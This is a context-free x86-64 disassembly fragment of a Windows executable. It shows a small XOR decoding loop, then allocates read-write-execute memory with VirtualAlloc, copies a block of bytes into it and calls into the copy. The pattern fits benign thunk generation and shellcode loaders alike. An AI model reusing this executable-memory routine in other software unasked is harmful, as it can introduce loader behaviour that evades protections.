imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x14024b2f0
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x4e0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xd58], xmm0
lea rax, [rsp + 0x6308]
mov qword [rsp + 0xd60], r13
mov qword [rsp + 0xd68], rax
mov rbx, qword [rax]
xor rbx, r13
mov qword [rsp + 0xd58], rbx
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402c1d70]
test rax, rax
je 0x14024b3cc
mov rdx, rsi
lea r8, [0x14025b2b0]
cmp rax, r8
je 0x14024b3bb
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2c1d70]
test rax, rax
jne 0x14024b3a3
jmp 0x14024b3cc
mov r8, qword [r14 + rdx*8 + 0x2c0730]
test r8, r8
jne 0x14024b4b8
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14024b3f3
mov r8, rsi
jmp 0x14024b490
lea rax, [0x14025b2b0]
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14024b402
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c0d88]
lea rcx, [0x14025b2b0]
mov qword [r14 + rax*8 + 0x2c1d70], rcx
mov qword [r14 + rax*8 + 0x2c0730], r8
inc rax
mov qword [0x1402c0d88], rax
lea rdx, [rsp + 0x4e0]
mov rcx, rdi
call r8
nop
xor rbx, r13
lea rax, [rsp + 0x6308]
mov qword [rax], rbx
lea rcx, [rsp + 0xcf0]
call fcn.140259200
nop
xor r13, r12
mov qword [r15], r13
jmp 0x14024b506
mov rcx, qword [rsp + 0x6260]
xor rcx, rsp
call fcn.14027cdd0
lea r11, [rsp + 0x62f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
mov rsp, r11
pop r15
pop r14
pop r13
ret
call fcn.1402029d0
nop
call fcn.1402029d0
nop
call fcn.1402029d0
call fcn.1402029d0
nop
call fcn.1402029d0
nop
call fcn.1402029d0
nop
call fcn.1402029d0
call fcn.1402029d0
int3